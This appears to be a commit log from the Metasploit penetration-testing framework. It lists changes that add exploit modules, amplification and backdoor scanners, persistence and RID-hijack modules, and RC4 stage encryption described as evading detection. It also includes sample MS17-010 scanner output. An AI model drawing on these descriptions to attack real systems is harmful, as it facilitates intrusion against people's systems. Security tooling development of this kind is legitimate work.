Add print statements I forgot
2018-03-02 19:15:17 -06:00
William Vu
e87681f2c4
Add NETGEAR TelnetEnable
2018-03-02 19:15:17 -06:00
James Barnett
b42c3ff654
Merge branch 'goliath' into MS-2909
2018-03-02 16:32:55 -06:00
James Barnett
b0012d6f36
Include hosts when returning services
2018-03-02 16:32:02 -06:00
Matthew Kienow
8453bc7f01
Correct metasploit heart banner filename
2018-03-02 17:23:34 -05:00
bwatters-r7
0d07d44b14
ReLand #9565 , Reverse TCP x64 RC4 via max3raza's rc4_x64 asm
...
This reverts commit 7964868fcd .
2018-03-02 16:09:52 -06:00
Auxilus
ad7a2418df
move exploit to windows/browser
2018-03-03 01:35:25 +05:30
Auxilus
a927795e97
add documentation for getgo_bof
2018-03-02 23:09:56 +05:30
James Barnett
fd4032928e
Add services search
2018-03-02 10:57:35 -06:00
Jacob Robles
938f10199b
Land #9659 , fix typo in comment
2018-03-02 10:36:22 -06:00
Simon Basset
20e21db1d4
fix typo in comment in msgrpc
...
s/The default is 55553/The default is 55552
2018-03-02 15:59:50 +01:00
Jeffrey Martin
f8cdb88c60
lock grpc version
2018-03-02 08:51:39 -06:00
bwatters-r7
7964868fcd
Revert "Land #9565 , Reverse TCP x64 RC4 via max3raza's rc4_x64 asm"
...
This reverts commit fcc579377f , reversing
changes made to 95cd149378 .
2018-03-02 08:29:48 -06:00
bwatters-r7
fcc579377f
Land #9565 , Reverse TCP x64 RC4 via max3raza's rc4_x64 asm
2018-03-02 07:34:45 -06:00
Biswajit Roy
41b73bac90
Merge pull request #2 from Biswajee/master
...
Fixed Typos
2018-03-02 17:42:47 +05:30
Biswajit Roy
38c42f3b10
Fixed Typos
...
Fixed minor typing errors.
2018-03-02 17:38:19 +05:30
Green-m
18a1593de7
Clean up registry and fix bug when cleaning the windows local file
2018-03-02 02:31:09 -05:00
Green-m
d1e91dfdfd
Fix bug
2018-03-01 22:19:03 -05:00
Green-m
2bb8fc7325
Fix bug
2018-03-01 22:16:59 -05:00
h00die
95cd149378
Land #9654 msf heart logos
2018-03-01 20:28:08 -05:00
Jon Hart
f446f726ad
Land #9596 , fixes #9592 , broken NTP DRDoS modules
2018-03-01 17:12:00 -08:00
Jon Hart
83430f858e
Add docs for memcached amplification scanner
2018-03-01 17:07:57 -08:00
Jon Hart
e7a7b557bc
Randomize and doc memcached stats probe; catch multi-packet responses
2018-03-01 16:56:34 -08:00
Jon Hart
155f45fc28
Simplify memcached amplification scanner to use UDPScanner for most of the work
2018-03-01 15:37:23 -08:00
Jeffrey Martin
8b6cce068a
missing lock file change
2018-03-01 16:18:04 -06:00
Mike Rinehart
d812f34457
Clean up msftidy warnings/errors
2018-03-01 16:14:15 -06:00
Mike Rinehart
6225ead46e
Cleanup
2018-03-01 15:30:03 -06:00
Mike Rinehart
0850fbaff7
Add komand plugin
2018-03-01 15:28:21 -06:00
Matthew Kienow
952c112f4a
Add metasploit heart banners
2018-03-01 15:18:58 -05:00
christopher lee
4f6b1de9a3
Merge branch 'master' into goliath
2018-03-01 14:14:39 -06:00
Brent Cook
34b90ee494
Land #9647 , lock protobuf version
2018-03-01 14:08:15 -06:00
Sonny Gonzalez
883654f0ea
Land #9653 , fix Y2k38 issue (until Jan 1, 2038)
2018-03-01 09:13:41 -06:00
Brent Cook
4fec2e758d
make fix more precise, based on https://github.com/rapid7/metasploit-framework/pull/2343
2018-03-01 08:59:55 -06:00
Brent Cook
27bd2a4a9f
workaround Y2k38 issues in java certificate generation
2018-03-01 08:41:28 -06:00
Biswajit Roy
887aeeadad
Merge pull request #1 from rapid7/master
...
Update fork
2018-03-01 10:03:15 +05:30
William Vu
d843750801
Land #9639 , multi/handler exit on disabled handler
...
If DisablePayloadHandler is set, abort instead of hanging.
2018-02-28 19:48:36 -06:00
James Barnett
06d2482e86
Implement services update
...
NOTE: This changes functionality for the services command flags.
Previously -s and -p were used for searching for services.
Now the commands will only be used for adds/updates.
If you would like to search, please use -s and pass a search string
2018-02-28 15:12:23 -06:00
Matthew Kienow
2d5f089ee6
Land #9646 , fix stale module cache issue
2018-02-28 15:17:00 -05:00
Jeffrey Martin
425f949bf8
Land #9638 , treat 'password must change' as a successful login
2018-02-28 11:28:38 -06:00
christopher lee
0949e0a501
Don't munch exception
2018-02-28 11:28:07 -06:00
christopher lee
cea61e7aa4
Fix bug with remove_from_cache
2018-02-28 11:21:34 -06:00
christopher lee
1686b82a40
Adhere to style guide by using unless
2018-02-28 11:11:26 -06:00
Jeffrey Martin
b90f960edd
lock protobuf version
2018-02-28 11:11:17 -06:00
christopher lee
8b4c7b886f
Updated to use delete_if
2018-02-28 11:00:40 -06:00
christopher lee
964be3b5f0
Fix problem with stale module cache
2018-02-28 08:41:14 -06:00
Daniel Teixeira
c84ece15a3
Update exodus.rb
2018-02-28 11:04:16 +00:00
Daniel Teixeira
c366f94017
Update exodus.rb
2018-02-28 10:35:05 +00:00
Daniel Teixeira
2faa052bc0
Update Exodus Wallet Documentation
2018-02-28 10:15:54 +00:00
xistence
ff6c601517
Merge pull request #1 from jhart-r7/pr/fixup-9643
...
Use drdos mixin for memcached amp module
2018-02-28 14:15:26 +07:00
Jon Hart
9e1a7c869c
Use drdos mixin for memcached amp module
2018-02-27 22:51:27 -08:00
xistence
05c99ffb5c
Add Memcached amplification scanner
2018-02-28 11:24:17 +07:00
UserExistsError
35b66d0e60
added payload tests
2018-02-27 19:24:51 -07:00
h00die
dfcbbfea83
Land #9641 spelling fix for wmap rc
2018-02-27 20:29:05 -05:00
James Barnett
dffbc67e71
Implement service delete
...
Also fix bug searching for services by host address
2018-02-27 17:17:07 -06:00
Auxilus
5ef3522286
Update getgo_bof.rb
2018-02-28 04:45:55 +05:30
Auxilus
4bb5ef65c6
Update getgo_bof.rb
2018-02-28 04:44:59 +05:30
Auxilus
d0fb122efd
Update getgo_bof.rb
2018-02-28 04:07:38 +05:30
Auxilus
cd86b98e09
Add GetGo Download Manager bof exploit
...
GetGo Download Manager 5.3.0.2712 - Buffer Overflow
https://www.exploit-db.com/exploits/44187/
[Not Tested]
2018-02-28 04:00:50 +05:30
Biswajit Roy
a25ce0f259
Fixed Typos
...
Simply removed some typing mistakes.
2018-02-28 03:37:14 +05:30
Brent Cook
9597e5294d
treat MUST_CHANGE + PASSWORD_EXPIRED as valid
2018-02-27 15:21:21 -06:00
James Barnett
c90fabee60
Implement remote service create
2018-02-27 14:20:43 -06:00
James Barnett
96709600e1
Condense services to use opts instead of individual params
2018-02-27 13:38:50 -06:00
James Barnett
9dc6089fcf
Merge branch 'goliath' into MS-2909
2018-02-27 11:14:15 -06:00
Green-m
174c47195a
Add options LocalExePath, StartupName, ServiceDescription
2018-02-27 05:32:07 -05:00
Brent Cook
325ad7256e
if multi/handler is disabled, exit
2018-02-27 04:30:09 -06:00
Green-m
fcd6e8acab
Add options LocalExePath, StartupName, ServiceDescription
2018-02-27 05:27:32 -05:00
Jon Hart
f09c5eafc7
Appease hound
2018-02-27 04:12:58 -06:00
Jon Hart
46299dff00
The DRDOS mixin operates on strings, so make the bindata'd NTP classes cooperate
2018-02-27 04:12:57 -06:00
Jon Hart
d7853aaf60
Revert "update NTP drdos lib to use correct method on bindata objects"
...
This reverts commit 166070e9c37a4130f976f806116881c70a8401c6.
2018-02-27 04:12:57 -06:00
Brent Cook
bcf5918fb6
update NTP drdos lib to use correct method on bindata objects
2018-02-27 04:12:57 -06:00
Brent Cook
66e3ac4c76
treat 'password must change' as a successful login
2018-02-26 17:57:31 -06:00
William Vu
0e4fc48df4
Fix #9602 , a little defensive programming
...
Check for a nil message and unnecessary auth failures while looping.
2018-02-26 16:52:25 -06:00
James Barnett
847b9ba0d0
Add option to delay between runthroughs
2018-02-26 16:27:03 -06:00
attackdebris
2939695991
Add ARCH_CMD and general fixup
2018-02-26 16:59:36 -05:00
Daniel Teixeira
15bd45cee3
Exodus Module
2018-02-26 21:31:13 +00:00
Daniel Teixeira
11881c1028
Exodus Documentation
2018-02-26 21:30:39 +00:00
Brent Cook
95a019675f
Land #9629 , decouple hosts and targets for tests
2018-02-26 12:19:03 -06:00
Alex Gonzalez
624f1afb31
Fixed errors in jira_plugin_upload.rb
...
Added default port 2990 to arguments, removed unnecessary variables in HTTP requests, added good_cookie variable, and included null response check in check method
2018-02-26 11:09:47 -05:00
Jacob Robles
a344ffadd8
Modified Code, Added additional check
2018-02-26 07:29:08 -06:00
Jacob Robles
0b22014306
Rename Doc
2018-02-26 06:09:15 -06:00
Jacob Robles
4e4aeb7b4d
Add GitStack v2.3.10 Unauth REST API Aux Module
2018-02-26 06:04:38 -06:00
Green-m
553a82a408
Add options LEXEPATH, STARTUP_NAME, SERVICE_DESC
2018-02-26 02:39:11 -05:00
Green-m
f786a1cfb9
Add options LEXEPATH, STARTUP_NAME, SERVICE_DESC
2018-02-26 01:59:49 -05:00
Green-m
da93b20f9b
Add options LEXEPATH, STARTUP_NAME, SERVICE_DESC
2018-02-26 01:46:30 -05:00
Jeffrey Martin
bb0d5ba8da
decouple hosts and targets for tests
2018-02-25 17:10:22 -06:00
Wei Chen
55a045eb76
Land #9623 , Support Win 2008/7+ for enum_ms_product_keys
...
Land #9623
2018-02-25 14:56:39 -06:00
Alex Gonzalez
a65de6225c
Fixed typos and errors in documentation
...
Fixed typos and removed unnecessary sections from "Scenarios" in documentation
2018-02-25 15:29:24 -05:00
Alex Gonzalez
343756d5fe
Add documentation
...
Add Jira Authenticated Plugin Upload Module documentation
2018-02-25 14:07:13 -05:00
Rob Fuller
0c82b0a922
Support Windows 2008/7 and above
...
Probably about time that we supported versions less than 10 years old :)
2018-02-24 16:06:55 -05:00
Auxilus
4b0cb7631c
Update pipe_auditor.rb
2018-02-25 02:18:15 +05:30
h00die
023bf79097
Land #9310 docs for many aux scanners
2018-02-24 14:32:33 -05:00
h00die
c56d7967e7
finished cleanup
2018-02-24 14:31:52 -05:00
h00die
15a29a1994
finished up comments
2018-02-24 13:39:14 -05:00
Auxilus
3f93055a72
Add pipe_auditor
2018-02-24 11:14:03 +05:30
Auxilus
be77cb2a2b
Add pipe_auditor
2018-02-24 11:04:41 +05:30
Auxilus
a1587bcd68
Update smb_ms17_010.rb
2018-02-24 09:05:35 +05:30
Auxilus
46af6239df
Update smb_ms17_010.rb
2018-02-24 08:50:39 +05:30
Auxilus
9bae6246b2
Check for accessible named pipe on vuln targets
...
```
msf5 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.0.2:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.0.2:445 - Checking for accessible named pipes
[+] 192.168.0.2:445 - Found accessible named pipe: netlogon
[+] 192.168.0.2:445 - Found accessible named pipe: lsarpc
[+] 192.168.0.2:445 - Found accessible named pipe: samr
[+] 192.168.0.2:445 - Found accessible named pipe: browser
[+] 192.168.0.2:445 - Found accessible named pipe: atsvc
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
2018-02-24 03:20:34 +05:30
James Barnett
133b34827f
Fix false+ login in a few more places
2018-02-23 13:16:41 -06:00
James Barnett
1c9c1dc1fc
Add password spray option to brute force
2018-02-23 12:30:11 -06:00
Brent Cook
2e568aa660
Land #9607 , upgrade osx shells to osx meterpreter
2018-02-23 11:11:44 -06:00
Brent Cook
4365bd3af5
bump rex-exploitation
2018-02-23 11:10:49 -06:00
Brent Cook
cd728defed
Merge branch 'master' into land-9607-
2018-02-23 11:09:20 -06:00
r4wd3r
aafd67d416
Adjust rid_hijack.md documentation file
2018-02-23 04:30:22 +01:00
h00die
c7bbc6eca4
juniper post enum module
2018-02-22 21:08:21 -05:00
UserExistsError
e19a071910
add bind_named_pipe x86
2018-02-22 19:03:37 -07:00
Matthew Kienow
ecad74cf99
Add cmd_vulns search and delete operations
2018-02-22 19:05:18 -05:00
William Vu
7663e5c1f6
Land #9601 , ms17_010_eternalblue reliability fixes
2018-02-22 15:30:45 -06:00
James Barnett
9cad71f003
Merge branch 'master' into owa_login_improvements
2018-02-22 15:02:52 -06:00
James Barnett
5815b626d9
Dont save email addresses as valid
...
Also add module doc for owa_login module
2018-02-22 14:58:11 -06:00
James Barnett
08f10d7da1
Comments
2018-02-22 14:51:17 -06:00
James Barnett
1cee532526
Merge branch 'rapid7/master' into goliath
2018-02-22 14:49:45 -06:00
James Barnett
e396dbabcd
Dont save email addresses as valid users
...
Also add initial module doc for owa_login
2018-02-22 14:48:35 -06:00
Matthew Kienow
22752518ea
WIP remote vuln read, update, delete
2018-02-22 13:53:22 -05:00
Brent Cook
65b0d9555f
Land #9611 , Fix bug causing all OWA logins to appear valid
2018-02-22 11:55:36 -06:00
r4wd3r
d3851ed89c
Add rid_hijack module documentation.
2018-02-22 18:49:11 +01:00
James Barnett
e531dbc976
Fix bug causing all logins to appear valid
...
The headers we were looking for were a little too loose
and were incorrectly identifying all responses as successful
login attempts
2018-02-22 11:25:35 -06:00
dmohanty-r7
0f0270b144
Land #9610 , lock ruby_smb to '0.0.18'
2018-02-22 11:03:40 -06:00
Brent Cook
d737f77b84
bump gems, lock ruby_smb for now
2018-02-22 10:45:49 -06:00
bwatters-r7
4b8a8fa2b1
Land #9441 , Create exploit for AsusWRT LAN RCE
...
Merge branch 'land-9441' into upstream-master
2018-02-22 10:40:45 -06:00
Matthew Kienow
7ad7188824
Fix comment typo
2018-02-22 11:29:44 -05:00
Alex Gonzalez
b43eac624e
Add Jira Authenticated Plugin Upload Module
...
Add Jira Authenticated Plugin Upload Module
2018-02-22 10:43:36 -05:00
Jacob Robles
738d6ab33a
Land #9604 , Fix logged errors when running without Python 3.6 / gmpy2
2018-02-22 08:11:30 -06:00
Brent Cook
99e278fa29
Land #9584 , Fix reverse_php_ssl infinite loop
2018-02-22 07:03:52 -06:00
Brent Cook
855fbc1689
Land #9602 , Create sessions with the Fortinet SSH backdoor scanner
2018-02-22 06:04:18 -06:00
Tim W
bfec2e8293
add more cmd_exec tests
2018-02-22 17:14:56 +08:00
Trevor Sibanda
77b3673e38
Fix reverse_php_ssl infinite loop
2018-02-22 08:42:54 +00:00
Tim W
78309f30cd
add test for cmd_exec
2018-02-22 16:41:37 +08:00
Green-m
73292c25f8
Update persistence_exe.rb
2018-02-22 14:17:40 +08:00
Green-m
473fef8107
Update persistence_exe.rb
2018-02-22 12:55:56 +08:00
Green-m
6a143bf265
Update persistence_exe.rb
2018-02-22 12:55:31 +08:00
Brendan Coles
f98b4b0540
require 'rubygems/package'
2018-02-22 04:28:56 +00:00
Green-m
9600acabc5
Update persistence_exe.rb
2018-02-22 12:00:47 +08:00
Brent Cook
7e665ab287
check for extra libraries explicitly, fail gracefully
2018-02-21 21:54:58 -06:00
Brent Cook
3f88e59516
handle Python 3.5/3.6 differences so we always have a UTF-8 string
2018-02-21 21:54:27 -06:00
William Vu
a9d6845f25
Add module doc
2018-02-21 21:50:08 -06:00
William Vu
3880f6a65e
Finally fix "Unknown admin user ''" after 2yrs
...
The failed password auth was necessary after all. I misread the PoC. :'(
Apparently the password auth sets the username, while the backdoored
keyboard-interactive auth sets the password.
2018-02-21 20:44:35 -06:00
William Vu
cc2495dd9c
Explain fortinet-backdoor -> FortinetBackdoor
2018-02-21 17:05:30 -06:00
William Vu
a5d78b82d4
Add require for Net::SSH::CommandStream
2018-02-21 15:51:53 -06:00
William Vu
854ac67b8e
Use start_session in fortinet_backdoor
...
Still get "Unknown admin user ''" from a shell channel request,
@busterb's more complete implementation notwithstanding.
Hoping we fix this in a subsequent commit or related PR.
Please see #6612 and #9524 .
2018-02-21 15:33:34 -06:00
Aaron Soto
af45c1764b
Tweak exception handling and timing of ms17_010_eternalblue
2018-02-21 13:40:04 -06:00
James Barnett
d4440d049d
Merge branch 'goliath' of github.com:clee-r7/metasploit-framework into goliath
2018-02-21 11:16:31 -06:00
James Barnett
3005a8b7ce
Merge branch 'rapid7/master' into goliath
2018-02-21 11:16:05 -06:00
Brent Cook
78822fd799
Land #9524 , prefer 'shell' channels over 'exec' channels for ssh CommandStream
2018-02-21 06:59:09 -06:00
William Vu
9cbc55ce40
Land #9593 , finger_users regex fix
2018-02-21 01:27:40 -06:00
Aaron Soto
bda7fefa7f
Land #9444 - hsts_eraser module and docs
2018-02-20 21:22:55 -06:00
Jacob Robles
b2cb4c425d
Land #9594 , CloudMe Sync v1.10.9 Buffer Overflow
2018-02-20 17:49:19 -06:00
Jacob Robles
a23240a742
Update Documentation
...
[ticket: #9594 ]
2018-02-20 17:48:21 -06:00
Jacob Robles
6a62ca15e7
Remove NOPS
...
[ticket: #9594 ]
2018-02-20 17:40:33 -06:00
Daniel Teixeira
04882b0464
Fixed indentation
2018-02-20 22:00:36 +00:00
Daniel Teixeira
745ad4d727
CloudMe Sync Client BoF
2018-02-20 21:57:13 +00:00
Daniel Teixeira
ff3b318abd
CloudMe Sync Client documentation
2018-02-20 21:56:31 +00:00
Matthew Kienow
88e7769d72
Land #16 , standardize data proxy error handling
2018-02-20 16:51:05 -05:00
James Lee
d6206dc046
Better regex in finger_users
2018-02-20 15:48:00 -06:00
Matthew Kienow
31cc516395
Merge branch 'goliath' into standardize_proxy_errors
2018-02-20 16:47:34 -05:00
Jacob Robles
107a41a4ce
Land #9561 , Disk Savvy Enterprise v10.4.18 built-in server buffer overflow
2018-02-20 15:42:12 -06:00
Jacob Robles
ab6f6d75d2
Update Documentation
...
[ticket: #9561 ]
2018-02-20 15:37:40 -06:00
Jacob Robles
d02bf40d69
Modified Exploit
...
Remove NOPS that weren't needed and freed up space for a larger payload.
[ticket: #9561 ]
2018-02-20 15:35:43 -06:00
James Barnett
b3642b1079
Address PR comments
2018-02-20 15:30:37 -06:00
r4wd3r
4ce7468fbe
Added rid_hijack post module. Found at post/windows/manage
2018-02-20 22:29:23 +01:00
James Barnett
3c9092f9a6
Complete services GET
2018-02-20 14:41:49 -06:00
Pedro Ribeiro
f89cebbd89
Add sploit doc
2018-02-20 19:35:10 +00:00
James Barnett
09ae4ac8ac
Add more info to console output
2018-02-20 13:34:33 -06:00
Pedro Ribeiro
23ea90cacf
Add docs for sploit
2018-02-20 19:33:58 +00:00
Tim W
f10d58bc2d
upgrade osx shells to osx meterpreter
2018-02-21 02:54:38 +08:00
Brent Cook
aec1b253f7
Land #9589 , add some more payload specs
2018-02-20 11:12:35 -06:00
Jeffrey Martin
ea9b6d894d
add missing payload specs
2018-02-20 09:38:24 -06:00
Brent Cook
8f3d15a6e1
Land #9588 , Fix silent fail on missing argument to wmap_sites -d idx
2018-02-20 07:13:32 -06:00
klayklogg
74021d9570
Fix silent fail on missing argument to wmap_sites -d idx
2018-02-21 00:43:20 +13:00
Brent Cook
36e8f7a2bc
Land #9585 , fix ctrl-D handling with block continuation
2018-02-20 04:52:09 -06:00
Brent Cook
99965c142b
remove duplicate check
2018-02-20 04:42:49 -06:00
Brent Cook
bb3a11dd20
use ctrl-d to cancel input instead
2018-02-20 04:40:00 -06:00
Tim W
5083150002
fix #9112 , improve error message on failure
2018-02-20 18:06:03 +08:00
Brent Cook
f5f7b4d25a
handle sessions still open
2018-02-20 03:31:20 -06:00
Brent Cook
e995ccfc33
make this a little easier to read
2018-02-20 03:27:55 -06:00
Brent Cook
e26fb49c99
if we have no more input from the console, quit
2018-02-20 03:27:38 -06:00
Brent Cook
42b4381ce5
Land #9583 , move osx stage binary
2018-02-20 03:15:14 -06:00
Tim W
a01f0f3023
fix #9366 , fix osx x64 stage location
2018-02-20 13:50:44 +08:00
Brent Cook
3d8451e616
Land #8997 , add local 'ls' support to Meterpreter sessions
2018-02-19 23:21:59 -06:00
Brent Cook
05e002e3c5
Land #9366 , Add x64 staged Meterpreter for macOS
2018-02-19 23:15:03 -06:00
Brent Cook
69c7e83a55
Land #9164 , add OWA 2016 support
2018-02-19 23:12:27 -06:00
Chris Higgins
74c6e21f49
Lands #9504 , MagniComp SysInfo privilege escalation
2018-02-19 22:47:33 -06:00
Brent Cook
56c00a8cb6
initial OWA 2016 support
2018-02-19 21:43:49 -06:00
Brent Cook
b9c1a64d20
Land #9505 , Support local knowledge base documents
2018-02-19 21:39:55 -06:00
Brent Cook
93689f0f0e
Land #9270 , Implement plugin API for hooking database events
2018-02-19 21:36:26 -06:00
Brent Cook
4e9d900a17
Land #9507 , Expand paths for meterpreter's cp, mv, and rm commands
2018-02-19 21:26:03 -06:00
Brent Cook
3d67d2ed12
Land #9443 , Add warning to FileDropper for deleting CWD
2018-02-19 21:22:39 -06:00
Brent Cook
25d1642664
Land #9575 , Fix wmap_sites -a exception on missing url
2018-02-18 20:49:39 -06:00
Brent Cook
310ab9c11d
Land #9573 , fixes for bind_named_pipe
2018-02-18 20:47:20 -06:00
Brent Cook
e48f53851e
Land #9568 , handle mismatch uid/gids in docker images
2018-02-18 20:42:58 -06:00
klayklogg
e6e595000f
Fix silent fail on missing url
2018-02-19 12:07:33 +13:00
UserExistsError
b3f26ea55f
bind_named_pipe fixes
2018-02-18 10:31:57 -07:00
klayklogg
ca6c55047e
Fix wmap_sites -a exception on missing url
2018-02-19 01:17:48 +13:00
Christian Mehlmauer
70ad41903b
another approach
2018-02-17 20:12:35 +01:00
Quentin Kaiser
9e3f12665e
Plaintext for console type to see what's going on.
2018-02-17 20:11:05 +01:00
Quentin Kaiser
663581fa10
Fix markdown ticks + references location.
2018-02-17 14:30:01 +01:00
Quentin Kaiser
e877151895
Attempt at clarifying network exchange using Telnet class IAC related constants.
2018-02-17 14:00:57 +01:00
Quentin Kaiser
a2d104313b
Add documentation file.
2018-02-17 12:31:54 +01:00
RageLtMan
80779f73ef
Implement Michael Schierl's suggestions
2018-02-16 23:03:05 -05:00
Brent Cook
eaca91cad7
Land #9572 , add bind_named_pipe tests
2018-02-16 20:47:24 -06:00
Jeffrey Martin
0acc5fed20
add missing payload tests for bind_named_pipe
2018-02-16 18:05:45 -06:00
Brent Cook
4a631714f5
Land #9571 , specify a python encoding for the claymore DoS module
2018-02-16 16:39:34 -06:00
Brent Cook
4fc4b77a8b
Land #9570 , properly handle when there is no stat callback specified on upload
2018-02-16 16:39:06 -06:00
Brent Cook
ac7fe99a2b
specify a python encoding for the module
2018-02-16 16:17:52 -06:00
Brent Cook
bd2af0143a
properly handle when there is no stat callback specified on upload
2018-02-16 16:14:09 -06:00
Brent Cook
289277c613
Land #9516 , Support Bash-Style Continuation Lines
2018-02-16 10:53:58 -06:00
Brent Cook
242f2d3117
Land #9512 , Add Claymore Dual GPU Miner<= 10.5 DoS module
2018-02-16 10:46:48 -06:00
Christian Mehlmauer
d19ee7a403
docker error workaround
2018-02-16 17:39:20 +01:00
RageLtMan
354eb4092a
Reverse TCP x64 RC4 via max3raza's rc4_x64 asm
...
To round out the work done by mihi for x86 stages back in the day,
this PR provides x64 Windows stage encryption in RC4 via assembly
written/modified by max3raza during adjacent work on DNS tunneled
transport.
Stage encryption differs from encoding in that there is no decoder
stub or key materiel carried with the stage which can be used by
defensive systems to decode and identify the contents. Persistence
payloads, oob-delivered stage0, and other contexts benefit heavily
from this as their subsequent stage is difficult to detect/identify,
and the chance of accidental execution of the wrong payload/stage
is drastically reduced if separate keys are in play for individual
targets - acquiring the wrong stage will result in decryption
failure and prevent further execution.
For historical context, all of the RC4 stagers implement in-place
decryption via stage0 for the contents of stage1 using the provided
passphrase converted to a key and embedded in stage0 as part of the
payload.
Testing:
In-house testing with Max - we got sessions, loaded extensions.
Notes:
All credit for the work goes to Max3raza - big ups for getting
this knocked out.
2018-02-16 05:15:05 -05:00
Brent Cook
6734e532f5
Land #9562 , avoid an error with aux module command dispatcher
2018-02-15 17:46:58 -06:00
Brent Cook
a197997aca
avoid chinese finger trap logic, put it all on one side
2018-02-15 17:45:09 -06:00
Brent Cook
25d2b551d8
Land #9539 , add bind_named_pipe transport to Windows meterpreter
2018-02-15 17:39:32 -06:00
Brent Cook
d28f6888b2
bump payloads, include bind_named_pipe support
2018-02-15 17:37:33 -06:00
Wei Chen
b533ec6019
Land #9509 , Ulterius Server < v1.9.5.0 Directory Traversal
...
Land #9509
2018-02-15 16:34:31 -06:00
Wei Chen
949b474a0a
Avoid target_uri.path
...
It doesn't look like target_uri.path is suitable for this scenario,
because it causes our input to be modified and hard to use.
2018-02-15 16:31:09 -06:00
Brent Cook
38b03fdfff
Merge branch 'upstream-master' into land-9539-
2018-02-15 16:22:13 -06:00
Wei Chen
5467f4c97e
Add header
2018-02-15 16:19:54 -06:00
Quentin Kaiser
e86169c217
Clean up Telnet IAC negotation and xplain obscure hex bytes.
2018-02-15 23:08:17 +01:00
Brent Cook
c4c864f391
Land #9558 , Fix #9417 , map timeout exp to a var for telnet_encrypt_overflow
2018-02-15 15:54:23 -06:00
Brent Cook
2d3aef9031
Land #9533 , Add output file support to the vulns command
2018-02-15 15:52:25 -06:00
Brent Cook
67dc579fd3
update magic numbers
2018-02-15 15:10:26 -06:00
Brent Cook
ae684c1002
Land #9564 , honoring retry counts for x86/64 Windows reverse_tcp payloads
2018-02-15 14:37:23 -06:00
Brent Cook
93450b87dd
use common retry options for UDP
2018-02-15 14:36:21 -06:00
Wei Chen
6fe8691528
Fix #9090 , honoring retry counts for x86/64 payloads
...
Fix #9090
2018-02-15 13:52:34 -06:00
Brent Cook
0f656d6b5b
Land #9563 : improve memory usage on meterpreter file upload
2018-02-15 12:07:19 -06:00
Brent Cook
5b88f27e2b
Land #9560 , Fix undef method 'gsub' in bavision_cam_login
2018-02-15 11:36:45 -06:00
a1exdandy
7e03bf838b
Fix src_size view
2018-02-15 17:44:41 +05:00
a1exdandy
a0c473f29e
Upload memory usage optimization
...
Optimize xor_bytes memory usage, use small buffer for upload,
add verbosity
2018-02-15 17:05:22 +05:00
Daniel Teixeira
651ddbb7eb
Disk Savvy Server Buffer Overflow
2018-02-15 10:09:07 +00:00
RageLtMan
177e1321ae
Aux command dispatcher in exploit ctx with action
...
The Auxiliary command dispatcher checks modules for passive actions
expecting them to have included Msf::Module::HasActions mixin. The
mixin is included in post and aux modules already, but not in
exploits. When the aux dispatcher handles an exploit module, it
may get upset along the lines of:
```
[-] Error while running command exploit: undefined method 'passive'
for #<Msf::Modules::M...3::MetasploitModule:0x0000000d83de0428>
Did you mean? passive?
Call stack:
/opt/metasploit4/msf4/lib/msf/ui/console/command_dispatcher/
auxiliary.rb:106:in `cmd_run'
```
Avoid this mess by having the conditional which checks the methods
included by that mixin depend on the module having included the
mixin in the first place.
Testing:
In local fork (hence the lineno) it seems to fix the problem.
The problem condition and fix should be independently tested
upstream.
2018-02-15 04:20:09 -05:00
Daniel Teixeira
630e9dd0de
Verification steps update
2018-02-14 20:40:32 +00:00
Daniel Teixeira
929027ab96
Disk Savvy Server Buffer Overflow
2018-02-14 20:35:32 +00:00
Daniel Teixeira
07763ccd6a
Disk Savvy Server Buffer Overflow Documentation
2018-02-14 20:35:03 +00:00
Brent Cook
d5ab7b127b
Land #9557 , add back udp_probe for now
2018-02-14 11:24:21 -06:00
Wei Chen
9a293cd30e
Fix #8120 , Fix undef method 'gsub' in bavision_cam_login
...
Fix #8120
2018-02-14 11:03:03 -06:00
Wei Chen
ef948ccc38
Fix #9417 , map timeout exp to a var for telnet_encrypt_overflow
...
Fix #9417
2018-02-14 09:19:28 -06:00
HD Moore
7cfc17860d
udp_probe is necessary for pivot scans
2018-02-14 08:45:46 -06:00
HD Moore
ef13f01820
Remove actually deprecated modules
2018-02-14 08:43:20 -06:00
HD Moore
234f5a316b
Revert "Remove old deprecated modules"
...
This reverts commit a2c5cc0ffb .
2018-02-14 08:42:44 -06:00
Jacob Robles
9611bfdd01
Land #9547 , Delete meterpreter scripts, imporve spelling
2018-02-14 02:24:07 -06:00
Spencer McIntyre
5063415b79
Land #9552 , add private_type for stored tomcat pw
...
Fixes #9513
2018-02-13 19:25:27 -05:00
Quentin Kaiser
5fbeb74f0c
Remove osx platform and fix date.
2018-02-13 23:57:53 +01:00
Quentin Kaiser
0259e794ba
OSGi console remote command execution.
2018-02-13 23:38:18 +01:00
Jeffrey Martin
3811665b69
Land #7699 , Add UDP handlers and payloads (redux)
2018-02-13 14:50:09 -06:00
Jeffrey Martin
f5768e7ced
gate session reported when using bind udp
...
While this method here is somewhat noisy on the network it eliminates
a poor user experience when the handler is started but the payload is
not yet running on the target.
When a target is sent a udp packet and it is not rejected push down
an initial "echo syn" command that will respond with output. This
allows framework to be aware that the payload is what is running on
the server port instead of assuming a non-existent target is a valid
session.
2018-02-13 14:44:57 -06:00
Jeffrey Martin
d56111a33c
update cache sizes from new tests
2018-02-13 14:34:21 -06:00
Wei Chen
fbeba8bfd2
Fix #9513 , Add private_type to be able to store password for Tomcat
...
If there is no :private_type, the create_credential method in
Metasploit::Credential::Creation will quietly skip the password,
which makes it look like a bug when the user is trying to view
the password from the creds command.
Fix #9513
2018-02-13 14:31:56 -06:00
Jeffrey Martin
b80445e448
add missing payload tests
2018-02-13 14:20:43 -06:00
Jeffrey Martin
2221779ddd
update package namespaces
2018-02-13 13:33:36 -06:00
Jacob Robles
b21f5d7036
Land #9546 , Correct Typo
2018-02-13 09:59:34 -06:00
Brent Cook
18983d1fae
s/imporve/improve/g
2018-02-13 05:30:05 -06:00
Brent Cook
252e80b9bf
remove a couple of broken meterpreter scripts (upstream is dead)
2018-02-13 05:28:09 -06:00
Agahlot
de24451035
Correct Typo
2018-02-13 15:57:09 +05:30
Fab
fe46f635db
Changes as requested by bcoles
2018-02-13 10:54:42 +01:00
Jacob Robles
aefd0d3875
Land #9542 , Correct Typo
2018-02-13 02:41:12 -06:00
Jeffrey Martin
9800d450f5
Land #9543 , bump gems, remove rbnacl/ffi since unneeded
2018-02-12 11:47:15 -06:00
Brent Cook
316e657d10
bump gems, remove rbnacl/ffi since unneeded
